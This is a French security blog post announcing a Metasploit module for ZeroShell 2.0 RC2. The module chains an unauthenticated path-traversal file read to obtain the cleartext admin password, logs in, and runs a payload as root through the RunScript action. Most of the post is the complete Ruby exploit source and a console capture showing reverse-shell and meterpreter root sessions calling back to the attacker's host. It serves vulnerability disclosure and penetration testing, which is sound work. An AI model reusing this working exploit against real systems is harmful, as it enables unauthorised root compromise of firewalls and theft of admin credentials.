[Metasploit] ZeroShell 2.0 RC2 Remote root Code Execution

Pour faire suite au récent article détaillant les vulnérabilités découvertes dans la distribution firewall/routeur de sécurité « ZeroShell », ces PoC et l’exploit ont été intégrés au sein du projet Metasploit.

L’auteur de cette adaptation, xistence, que je remercie pour son travail et son intérêt, a exploité les divers PoC et techniques que je vous détaillais afin de produire un module Metasploit complet et autonome pour récupérer une session shell/meterpreter sous le compte root.

This Metasploit module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower. It will leverage an unauthenticated local file inclusion vulnerability in the « /cgi-bin/kerbynet » url. The file retrieved is « /var/register/system/ldap/rootpw ». This file contains the admin password in cleartext. The password is used to login as the admin user. After the authentication process is complete it will use the RunScript action to execute the payload with root privileges.

L’idée de ce module lorsqu’il est exploité au travers du framework Metasploit, est de :

• Vérifier la présence d’une distribution ZeroShell
• Exploiter le « Local File Disclosure » pour récupérer le mot de passe d’administration en clair
• Se connecter à l’interface d’administration via le mot de passe récupéré pour générer un token d’authentification valide
• Une fois le token récupéré, exécuter le payload pour l’obtention d’un shell/meterpreter avec les privilèges root

L’enchaînement des différentes vulnérabilités qui avaient été décelées est judicieusement réalisé pour automatiser le pentest sur la distribution.

La capture suivante illustre l’utilisation du module :

ZeroShell RC2 Remote Code Execution
 
msf > use exploit/unix/webapp/zeroshell_exec
msf exploit(zeroshell_exec) > set RHOST 192.168.2.116
RHOST => 192.168.2.116
msf exploit(zeroshell_exec) > exploit
 
[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.116:80 - Retrieving cleartext admin password
[*] 192.168.2.116:80 - Password retrieved [ zeroshell ]
[*] 192.168.2.116:80 - Logging in and retrieving session key
[*] 192.168.2.116:80 - Session key retrieved [ 2f336d5 ]
[*] Command shell session 4 opened (192.168.2.22:4444 -> 192.168.2.116:38216) at 2013-09-22 13:18:08 +0700
[*] Command Stager progress - 100.00% done (1445/1445 bytes)
 
id
uid=0(root) gid=0(root) groups=0(root)
 
msf exploit(zeroshell_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(zeroshell_exec) > set LHOST 192.168.2.22
LHOST => 192.168.2.22
msf exploit(zeroshell_exec) > exploit
 
[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.116:80 - Retrieving cleartext admin password
[*] 192.168.2.116:80 - Password retrieved [ zeroshell ]
[*] 192.168.2.116:80 - Logging in and retrieving session key
[*] 192.168.2.116:80 - Session key retrieved [ 4f532b1 ]
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.2.116
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.116:38298) at 2013-09-22 14:34:40 +0700
 
[*] Command Stager progress - 100.00% done (850/850 bytes)
 
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0

Le code du module MSF produit par xistence est le suivant :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
 
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho
include Msf::Exploit::EXE
 
def initialize(info={})
super(update_info(info,
'Name' => 'ZeroShell Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
It will leverage an unauthenticated local file inclusion vulnerability in the
'/cgi-bin/kerbynet' url. The file retrieved is '/var/register/system/ldap/rootpw'.
This file contains the admin password in cleartext. The password is used to login
as the admin user. After the authentication process is complete it will use the
RunScript action to execute the payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yann CAM', # Discovery, PoC
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ]
],
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'Targets' =>
[
['ZeroShell 2.0 RC2', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Sep 22 2013',
'DefaultTarget' => 0))
 
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
], self.class)
end
 
def uri
return target_uri.path
end
 
def peer
return '#{rhost}:#{rport}'
end
 
def check
# Check version
print_status('#{peer} - Trying to detect ZeroShell')
 
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri)
})
 
if res and res.code == 200 and res.body =~ /ZeroShell/
print_good('ZeroShell detected')
end
 
unless password.nil?
return Exploit::CheckCode::Vulnerable
end
 
return Exploit::CheckCode::Safe
end
 
# Retrieve admin password using unauthenticated LFI
def password
rootpw = '../../../var/register/system/ldap/rootpw'
print_status('#{peer} - Retrieving cleartext admin password')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'cgi-bin', 'kerbynet'),
'vars_get' => {
'Section' => 'NoAuthREQ',
'Action' => 'Render',
'Object' => rootpw
}
})
 
if res and res.code == 200 and res.body !~ /not found/
res.body =~ /^(.*)$/
pass = $1
print_status('#{peer} - Password retrieved [ #{pass} ]')
return pass
else
return nil
end
end
 
# Login using the retrieved password and grab the session key from the response body.
def login(admin_password)
print_status('#{peer} - Log in and retrieving session key')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'cgi-bin', 'kerbynet'),
'vars_post' => {
'Action' => 'StartSessionSubmit',
'User' => 'admin',
'PW' => admin_password
}
})
 
if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
sessionkey = $1
print_status('#{peer} - Session key retrieved [ #{sessionkey} ]')
return sessionkey
else
fail_with(Failure::Unknown, '#{peer} - Retrieving session key failed!')
end
end
 
# The RunScript action will run shell commands directly with root privileges.
def execute_command(cmd, opts)
script_name = rand_text_alphanumeric(8)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'cgi-bin', 'kerbynet'),
'vars_post' => {
'Action' => 'RunScript',
'Section' => 'Setup',
'STk' => @session,
'ScriptName' => script_name,
'Script' => cmd + '&'
}
})
 
if res and res.code != 200
fail_with(Failure::Unknown, '#{peer} - Unexpected response, exploit probably failed!')
end
 
end
 
def exploit
admin_password = password
if admin_password.nil?
fail_with(Failure::Unknown, '#{peer} - Retrieving password failed!')
end
 
@session = login(admin_password)
 
execute_cmdstager
end
 
end

Sources & ressources :

• Article ZeroShell d’ASafety
• ZeroShell Remote Code Execution – PacketStorm Security
• ZeroShell ‘cgi-bin/kerbynet’ Local File Disclosure Vulnerability – SecurityFocus
• ZeroShell Remote Code Execution – CXSecurity
• ZeroShell Remote Code Execution Vulnerability – Inj3ct0r
• Metasploit GitHub pull & discussion
• Metasploit 4.7.1 update
• Rapid7 ZeroShell module